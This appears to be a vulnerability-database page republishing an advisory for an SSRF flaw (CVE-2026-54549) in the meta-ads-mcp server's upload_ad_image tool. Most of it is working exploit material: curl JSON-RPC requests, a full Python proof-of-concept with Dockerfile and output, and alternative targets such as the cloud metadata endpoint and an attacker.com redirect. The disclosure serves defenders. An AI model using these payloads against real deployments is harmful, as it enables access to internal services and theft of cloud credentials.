Kestrel
대시보드로 돌아가기
CVE-2026-54549HIGH· 8.3GHSA대응게시일: 2026. 07. 17.수정일: 2026. 07. 17.

meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.3high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위변경
영향
기밀성 영향낮음
무결성 영향낮음
가용성 영향낮음
버전별 점수
CVSS 3.18.3HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

상세 설명

Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Summary

The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs after the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).

Details

Source

meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.

bash
1# meta_ads_mcp/core/ads.py
21316: @mcp_server.tool()
31318: async def upload_ad_image(
41322: image_url: Optional[str] = None,

Propagation

meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.

bash
1# meta_ads_mcp/core/ads.py
21389: image_bytes = await try_multiple_download_methods(image_url)

Sinks

meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:

bash
1# meta_ads_mcp/core/utils.py
2166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:
3168: response = await client.get(url, headers=headers)
4
5214: async with httpx.AsyncClient(follow_redirects=True) as client:
6215: response = await client.get(url, headers=headers, timeout=30.0)
7
8224: async with httpx.AsyncClient(follow_redirects=True) as client:
9228: response = await client.get(url, timeout=30.0)

Authorization bypass

meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.

Absence of sanitization

A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.

Transport exposure

meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.

PoC

Environment setup

bash
1# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)
2docker build -f vuln-001/Dockerfile \
3 -t meta-ads-ssrf-poc \
4 reports/pypiAi_615_pipeboard-co__meta-ads-mcp/
5
6docker run --rm meta-ads-ssrf-poc
7# Exit code 0 = SSRF confirmed

Manual reproduction (two terminals)

python
1# Terminal 1 — SSRF capture listener on port 9009
2python3 - <<'PY'
3from http.server import BaseHTTPRequestHandler, HTTPServer
4class H(BaseHTTPRequestHandler):
5 def do_GET(self):
6 print("SSRF GET", self.path, flush=True)
7 body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"
8 self.send_response(200)
9 self.send_header("Content-Type", "image/jpeg")
10 self.send_header("Content-Length", str(len(body)))
11 self.end_headers()
12 self.wfile.write(body)
13HTTPServer(("127.0.0.1", 9009), H).serve_forever()
14PY
15
16# Terminal 2 — start the vulnerable MCP server
17META_APP_ID=dummy META_APP_SECRET=dummy \
18 python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080

Exploit request

bash
1# 1. Initialize MCP session
2curl -sS -X POST http://127.0.0.1:8080/mcp \
3 -H "Content-Type: application/json" \
4 -H "Accept: application/json, text/event-stream" \
5 -H "Authorization: Bearer dummy-token" \
6 -d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"1.0"}}}'
7
8# 2. Send SSRF payload — image_url points to internal listener
9curl -sS -X POST http://127.0.0.1:8080/mcp \
10 -H "Content-Type: application/json" \
11 -H "Accept: application/json, text/event-stream" \
12 -H "Authorization: Bearer dummy-token" \
13 -d '{
14 "jsonrpc": "2.0",
15 "method": "tools/call",
16 "id": 1,
17 "params": {
18 "name": "upload_ad_image",
19 "arguments": {
20 "account_id": "act_123456789",
21 "image_url": "http://127.0.0.1:9009/poc.jpg"
22 }
23 }
24 }'

Expected result

Terminal 1 prints:

text
1SSRF GET /poc.jpg

The curl response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound GET /poc.jpg request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.

Confirmed runtime evidence (from Docker run)

text
1[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'
2[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009
3 -> GET /poc.jpg | User-Agent: 'curl/8.4.0'

Alternative targets

Replace http://127.0.0.1:9009/poc.jpg with:

  • http://169.254.169.254/latest/meta-data/ — cloud instance metadata (AWS/GCP/Azure)
  • http://10.0.0.1/ — RFC 1918 internal network services
  • http://attacker.com/redirect — a public URL that redirects to an internal target (exploitable via follow_redirects=True)

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC tools/call request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:

  • Localhost services: databases, admin panels, internal APIs, and other processes bound to 127.0.0.1 on the host
  • RFC 1918 / private network addresses: internal microservices, Kubernetes control planes, cloud-internal load balancers
  • Cloud instance metadata endpoints: http://169.254.169.254/ (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets
  • Redirect-chained internal targets: any internal host reachable via a public-to-private redirect, because follow_redirects=True is set on all three fetch paths without re-validation at each hop

The SSRF fires before Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).

Operators deploying meta-ads-mcp with --transport streamable-http in environments co-located with sensitive internal services or cloud metadata services are directly at risk.

Reproduction artifacts

Dockerfile
sql
1FROM python:3.11-slim
2
3# Install system build dependencies
4RUN apt-get update && \
5 apt-get install -y --no-install-recommends gcc && \
6 rm -rf /var/lib/apt/lists/*
7
8WORKDIR /app
9
10# Install pip and uv for fast dependency installation
11RUN pip install --upgrade pip && pip install uv
12
13# Install Python dependencies from the cloned repo
14COPY repo/requirements.txt .
15RUN uv pip install --system -r requirements.txt
16
17# Copy the full application source (cloned repo)
18COPY repo/ .
19
20# Install the package in editable mode (no extra deps, already installed above)
21RUN pip install --no-deps -e .
22
23# Copy the PoC exploit script into the image
24COPY vuln-001/poc.py /poc.py
25
26# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error
27CMD ["python3", "/poc.py"]
poc.py
python
1#!/usr/bin/env python3
2"""
3Proof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113
4CWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)
5
6Attack flow:
7 1. Attacker sends tools/call for upload_ad_image with image_url="http://127.0.0.1:9009/poc.jpg"
8 2. MCP server calls try_multiple_download_methods(image_url) with no URL validation
9 3. httpx.AsyncClient(follow_redirects=True).get("http://127.0.0.1:9009/poc.jpg") fires
10 4. SSRF listener records the inbound GET, proving the server issued the request
11
12Authorization bypass: only a non-empty Bearer token string is required before the fetch;
13the actual Meta API credential check happens after the image download.
14"""
15
16import threading
17import subprocess
18import time
19import json
20import sys
21import socket
22import os
23from http.server import BaseHTTPRequestHandler, HTTPServer
24
25import httpx
26
27# ── Configuration ─────────────────────────────────────────────────────────────
28SSRF_PORT = 9009 # Port for the SSRF capture listener
29MCP_PORT = 8080 # Port for the vulnerable MCP server
30SSRF_PATH = "/poc.jpg" # Path that the MCP server will request (SSRF indicator)
31
32# ── Shared state ──────────────────────────────────────────────────────────────
33ssrf_hits: list = []
34ssrf_lock = threading.Lock()
35
36
37# ── SSRF capture listener ─────────────────────────────────────────────────────
38
39class SSRFCaptureHandler(BaseHTTPRequestHandler):
40 """Records every inbound GET request made by the vulnerable MCP server."""
41
42 def do_GET(self):
43 hit = {
44 "method": "GET",
45 "path": self.path,
46 "host": self.client_address[0],
47 "user_agent": self.headers.get("User-Agent", ""),
48 }
49 with ssrf_lock:
50 ssrf_hits.append(hit)
51 print(
52 f"[SSRF LISTENER] Received GET {self.path!r}"
53 f" from {self.client_address[0]}"
54 f" | User-Agent: {hit['user_agent']!r}",
55 flush=True,
56 )
57 # Return a minimal valid JPEG so the server processes the response
58 body = (
59 b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
60 b"\xff\xd9"
61 )
62 self.send_response(200)
63 self.send_header("Content-Type", "image/jpeg")
64 self.send_header("Content-Length", str(len(body)))
65 self.end_headers()
66 self.wfile.write(body)
67
68 def log_message(self, fmt, *args):
69 pass # Suppress default access log to keep output clean
70
71
72def start_ssrf_listener() -> None:
73 server = HTTPServer(("127.0.0.1", SSRF_PORT), SSRFCaptureHandler)
74 server.serve_forever()
75
76
77# ── Helpers ───────────────────────────────────────────────────────────────────
78
79def wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:
80 """Poll until the TCP port is accepting connections or timeout expires."""
81 deadline = time.time() + timeout
82 while time.time() < deadline:
83 try:
84 with socket.create_connection((host, port), timeout=1.0):
85 return True
86 except (ConnectionRefusedError, OSError):
87 time.sleep(0.5)
88 return False
89
90
91def mcp_post(
92 method: str,
93 params: dict,
94 req_id: int,
95 session_id: str | None = None,
96) -> httpx.Response:
97 """Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.
98
99 Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp
100 with HTTP 307, so we skip the redirect by targeting the canonical path directly.
101 Accept header must include text/event-stream; without it the server returns 406.
102 """
103 headers = {
104 "Content-Type": "application/json",
105 # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting
106 # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.
107 "Accept": "application/json, text/event-stream",
108 # Dummy Bearer token — the middleware only checks that it is non-empty;
109 # Meta API credential validation happens AFTER the image download (SSRF sink).
110 "Authorization": "Bearer dummy-ssrf-poc-token",
111 }
112 if session_id:
113 headers["Mcp-Session-Id"] = session_id
114
115 payload = {"jsonrpc": "2.0", "method": method, "id": req_id, "params": params}
116 with httpx.Client(timeout=30.0) as client:
117 return client.post(
118 f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
119 json=payload,
120 headers=headers,
121 )
122
123
124# ── Main PoC ──────────────────────────────────────────────────────────────────
125
126def main() -> int:
127 print("=" * 65, flush=True)
128 print("VULN-001 PoC — SSRF in meta-ads-mcp upload_ad_image (v1.0.113)", flush=True)
129 print("CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation", flush=True)
130 print("=" * 65, flush=True)
131
132 # ── Step 1: Start the SSRF capture listener ────────────────────────────
133 t = threading.Thread(target=start_ssrf_listener, daemon=True)
134 t.start()
135 time.sleep(0.3)
136 print(f"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}", flush=True)
137
138 # ── Step 2: Start the vulnerable MCP server ────────────────────────────
139 env = os.environ.copy()
140 # Dummy credentials so the server starts; the Meta API is only called after
141 # the image has already been fetched (i.e., after the SSRF fires).
142 env.setdefault("META_APP_ID", "poc-dummy-app-id")
143 env.setdefault("META_APP_SECRET", "poc-dummy-secret")
144 env.setdefault("PIPEBOARD_API_TOKEN", "")
145
146 proc = subprocess.Popen(
147 [
148 sys.executable, "-m", "meta_ads_mcp",
149 "--transport", "streamable-http",
150 "--host", "127.0.0.1",
151 "--port", str(MCP_PORT),
152 ],
153 stdout=subprocess.PIPE,
154 stderr=subprocess.STDOUT,
155 text=True,
156 env=env,
157 cwd="/app",
158 )
159 print(f"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...", flush=True)
160
161 # ── Step 3: Wait for server readiness ─────────────────────────────────
162 if not wait_for_port("127.0.0.1", MCP_PORT, timeout=30):
163 try:
164 out, _ = proc.communicate(timeout=5)
165 except subprocess.TimeoutExpired:
166 out = ""
167 print(f"[FAIL] MCP server did not start within 30 s.\nServer output:\n{out}", flush=True)
168 return 2
169 print(f"[+] MCP server is up on 127.0.0.1:{MCP_PORT}", flush=True)
170 time.sleep(0.5)
171
172 # ── Step 4: MCP protocol initialization ───────────────────────────────
173 # The streamable-HTTP transport requires a brief initialize / initialized
174 # handshake before accepting tool calls.
175 session_id = None
176 try:
177 resp = mcp_post(
178 "initialize",
179 {
180 "protocolVersion": "2024-11-05",
181 "capabilities": {},
182 "clientInfo": {"name": "ssrf-poc", "version": "1.0"},
183 },
184 req_id=0,
185 )
186 print(f"[*] initialize -> HTTP {resp.status_code}", flush=True)
187 session_id = resp.headers.get("Mcp-Session-Id")
188 if session_id:
189 print(f"[*] Session ID: {session_id}", flush=True)
190 notif_headers = {
191 "Content-Type": "application/json",
192 "Authorization": "Bearer dummy-ssrf-poc-token",
193 "Mcp-Session-Id": session_id,
194 }
195 notif_payload = {
196 "jsonrpc": "2.0",
197 "method": "notifications/initialized",
198 "params": {},
199 }
200 with httpx.Client(timeout=10.0) as client:
201 nr = client.post(
202 f"http://127.0.0.1:{MCP_PORT}/mcp", # no trailing slash
203 json=notif_payload,
204 headers=notif_headers,
205 )
206 print(f"[*] notifications/initialized -> HTTP {nr.status_code}", flush=True)
207 except Exception as exc:
208 print(f"[*] Initialization step error (non-fatal): {exc}", flush=True)
209
210 # ── Step 5: Send the SSRF exploit payload ─────────────────────────────
211 ssrf_url = f"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}"
212 print(f"\n[*] Sending exploit request ...", flush=True)
213 print(f" method : tools/call", flush=True)
214 print(f" tool : upload_ad_image", flush=True)
215 print(f" image_url : {ssrf_url} <-- SSRF payload", flush=True)
216 print(f" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)", flush=True)
217
218 try:
219 resp = mcp_post(
220 "tools/call",
221 {
222 "name": "upload_ad_image",
223 "arguments": {
224 "account_id": "act_123456789",
225 "image_url": ssrf_url,
226 },
227 },
228 req_id=1,
229 session_id=session_id,
230 )
231 print(f"\n[*] tools/call -> HTTP {resp.status_code}", flush=True)
232 print(f"[*] Response preview (first 400 chars):\n{resp.text[:400]}", flush=True)
233 except Exception as exc:
234 print(f"[*] tools/call exception: {exc}", flush=True)
235
236 # ── Step 6: Allow time for async fetch to complete ────────────────────
237 time.sleep(4)
238 proc.terminate()
239
240 # ── Step 7: Evaluate and report ───────────────────────────────────────
241 print("\n" + "=" * 65, flush=True)
242 with ssrf_lock:
243 hits = list(ssrf_hits)
244
245 if hits:
246 print(
247 f"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to"
248 f" 127.0.0.1:{SSRF_PORT}",
249 flush=True,
250 )
251 for h in hits:
252 print(
253 f" -> {h['method']} {h['path']}"
254 f" | User-Agent: {h['user_agent']!r}",
255 flush=True,
256 )
257 print(
258 "\nConclusion: upload_ad_image passes attacker-controlled image_url to"
259 " httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,"
260 " host, or IP validation. Internal services are reachable via SSRF.",
261 flush=True,
262 )
263 print("=" * 65, flush=True)
264 return 0
265 else:
266 print(
267 f"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.",
268 flush=True,
269 )
270 print("=" * 65, flush=True)
271 return 1
272
273
274if __name__ == "__main__":
275 sys.exit(main())

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.